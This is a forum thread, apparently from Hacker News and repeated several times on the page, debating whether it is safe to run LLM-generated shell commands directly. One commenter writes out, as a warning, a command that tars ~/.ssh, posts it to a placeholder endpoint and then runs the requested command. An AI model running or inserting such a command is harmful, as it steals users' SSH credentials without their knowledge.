4 ms·

Terrible idea, I love it This is good use case for a well-trained LLM, rather than the broad scope of chatGPT

by AzzyHN 2y ago

amiga386 2y ago
It's not a good use case for anything. Never ask a remote endpoint that's not owned by you and not run by you, what commands you should run on your system. Certainly don't execute the answers.
- rezonant 2y ago
  If we can't let ChatGPT take the wheel, how will we feel alive?
- dheera 2y ago
  I do envision training a local LLM which would mostly resolve this concern, but at the moment the vast majority of people don't have a good enough GPU in their system to run an even mildly-competent code generation LLM, but I imagine this will change within a few years.
- lucianbr 2y ago
  99.9999% of the code running on my machine is written by others and not even readable to me. I'm pretty optimistic that a similar percentage is true on your machines. So yeah, we run remote commands all the time, all of us. There may be a subtle difference between "curl something | bash" and "apt-get install" or "setup.exe", but there is no fundamental one.
  - broken-kebab 2y ago
    There's a difference between getting code from a repo, and from AI generator though. We can apply an ancient thing known as "reputation" to the former. Not yet to the latter.
  - amiga386 2y ago
    Fundamentally: 1. the packages being worked on by Debian et al have a huge pile of infrastructure so that their development happens collaboratively and in the open, with many eyes watching 2. everyone gets the same packages 3. they have their own security teams to _ensure_ everyone is getting the same packages, i.e. that their download servers and checksums haven't been compromised 4. the project has been been working since 1993 to ensure their update system, and the system delivered by those updates, works as expected. If it doesn't, there are IRC channels, mailing lists, bug trackers and a pile of humans to discuss issues with, and if they agree it's a bug, they can fix it for everyone It's not to say it's impossible to sneak an attack past a project dedicated to stopping such attacks, but it's so much more work compared to attacking someone who executes whatever a remote endpoint tells them
    - tucosan 2y ago
      There have been many documented cases of supply chain attacks of various degrees of sophistication. Some of them successful, some of them almost successful. May I remind you of the recent xz vulnerability was discovered by a single dev by mere chance. As an end user it is nearly impossible to guard against such an attack. It can be problematic to run something like `curl foo.com | bash` without inspection of the script first. But even here it makes a difference if you are curling from a project like brew.sh that delivers such script from a TLS protected endpoint or some random script you find somewhere in a gist. Same goes for output from an LLM. You can simply investigate the generated command before executing it. Another strategy might be to only generate the parameters and just pass those to the ffmpeg executable.
      - amiga386 2y ago
        > Same goes for output from an LLM This is the crux of our disagreement. It does not go the same. You have no idea what the LLM is going to write, neither does the LLM, nor the people who created the LLM. At no point did the people who created the LLM actually think about your use-case, nor did the LLM, and there is no promise of anything you ask getting a correct, or even consistent answer. The creators don't know how the answers got there, and can't easily fix them if they're wrong. You'd be a fool to trust it for anything other than dog and pony shows.
- asddubs 2y ago
  got it, never do apt-get upgrade
- madeofpalk 2y ago
  You never search for documentation? From either a first or third party site?
elcomet 2y ago
Why do you say it's a terrible idea? I'd say it's a pretty common idea today to ask chatGPT for help in complicated commands. Putting it in the shell directly is smart and helpful. Maybe the implementations has some flaws (it seems quite unsafe), but the idea is rather good in my opinion.
- tirpen 2y ago
  Getting a suggested command from a chat bot is not a terrible idea. Directly executing commands given by a chat bot on your machine it without inspecting it first is pure madness.
- axegon_ 2y ago
  Here's a hypothetical but very real scenario: someone discovers a vulnerability in openAI's API (vulnerabilities are everywhere these days), you prompt it to do something for you and it sends the following command: tar -czf bla.tar.gz ~/.ssh && curl -X POST -F "ssh_keys=@bla.tar.gz" SOME_HTTP_API_ENDPOINT && rm -f bla.tar.gz && THE_ACTUAL_COMMAND_YOU_PROMPTED What could possibly go wrong, right?
fragmede 2y ago
you'd really like http://openinterpreter.com http://openinterpreter.com then

Terrible idea, I love it This is good use case for a well-trained LLM, rather than the broad scope of chatGPT

by AzzyHN 2y ago

Terrible idea, I love it This is good use case for a well-trained LLM, rather than the broad scope of chatGPT

It's not a good use case for anything. Never ask a remote endpoint that's not owned by you and not run by you, what commands you should run on your system. Certainly don't execute the answers.

rezonant 2y ago
If we can't let ChatGPT take the wheel, how will we feel alive?
dheera 2y ago
I do envision training a local LLM which would mostly resolve this concern, but at the moment the vast majority of people don't have a good enough GPU in their system to run an even mildly-competent code generation LLM, but I imagine this will change within a few years.
lucianbr 2y ago
99.9999% of the code running on my machine is written by others and not even readable to me. I'm pretty optimistic that a similar percentage is true on your machines. So yeah, we run remote commands all the time, all of us. There may be a subtle difference between "curl something | bash" and "apt-get install" or "setup.exe", but there is no fundamental one.
- broken-kebab 2y ago
  There's a difference between getting code from a repo, and from AI generator though. We can apply an ancient thing known as "reputation" to the former. Not yet to the latter.
- amiga386 2y ago
  Fundamentally: 1. the packages being worked on by Debian et al have a huge pile of infrastructure so that their development happens collaboratively and in the open, with many eyes watching 2. everyone gets the same packages 3. they have their own security teams to _ensure_ everyone is getting the same packages, i.e. that their download servers and checksums haven't been compromised 4. the project has been been working since 1993 to ensure their update system, and the system delivered by those updates, works as expected. If it doesn't, there are IRC channels, mailing lists, bug trackers and a pile of humans to discuss issues with, and if they agree it's a bug, they can fix it for everyone It's not to say it's impossible to sneak an attack past a project dedicated to stopping such attacks, but it's so much more work compared to attacking someone who executes whatever a remote endpoint tells them
  - tucosan 2y ago
    There have been many documented cases of supply chain attacks of various degrees of sophistication. Some of them successful, some of them almost successful. May I remind you of the recent xz vulnerability was discovered by a single dev by mere chance. As an end user it is nearly impossible to guard against such an attack. It can be problematic to run something like `curl foo.com | bash` without inspection of the script first. But even here it makes a difference if you are curling from a project like brew.sh that delivers such script from a TLS protected endpoint or some random script you find somewhere in a gist. Same goes for output from an LLM. You can simply investigate the generated command before executing it. Another strategy might be to only generate the parameters and just pass those to the ffmpeg executable.
    - amiga386 2y ago
      > Same goes for output from an LLM This is the crux of our disagreement. It does not go the same. You have no idea what the LLM is going to write, neither does the LLM, nor the people who created the LLM. At no point did the people who created the LLM actually think about your use-case, nor did the LLM, and there is no promise of anything you ask getting a correct, or even consistent answer. The creators don't know how the answers got there, and can't easily fix them if they're wrong. You'd be a fool to trust it for anything other than dog and pony shows.
asddubs 2y ago
got it, never do apt-get upgrade
madeofpalk 2y ago
You never search for documentation? From either a first or third party site?

elcomet 2y ago

Why do you say it's a terrible idea? I'd say it's a pretty common idea today to ask chatGPT for help in complicated commands. Putting it in the shell directly is smart and helpful. Maybe the implementations has some flaws (it seems quite unsafe), but the idea is rather good in my opinion.

tirpen 2y ago
Getting a suggested command from a chat bot is not a terrible idea. Directly executing commands given by a chat bot on your machine it without inspecting it first is pure madness.
axegon_ 2y ago
Here's a hypothetical but very real scenario: someone discovers a vulnerability in openAI's API (vulnerabilities are everywhere these days), you prompt it to do something for you and it sends the following command: tar -czf bla.tar.gz ~/.ssh && curl -X POST -F "ssh_keys=@bla.tar.gz" SOME_HTTP_API_ENDPOINT && rm -f bla.tar.gz && THE_ACTUAL_COMMAND_YOU_PROMPTED What could possibly go wrong, right?

fragmede 2y ago

you'd really like http://openinterpreter.com http://openinterpreter.com then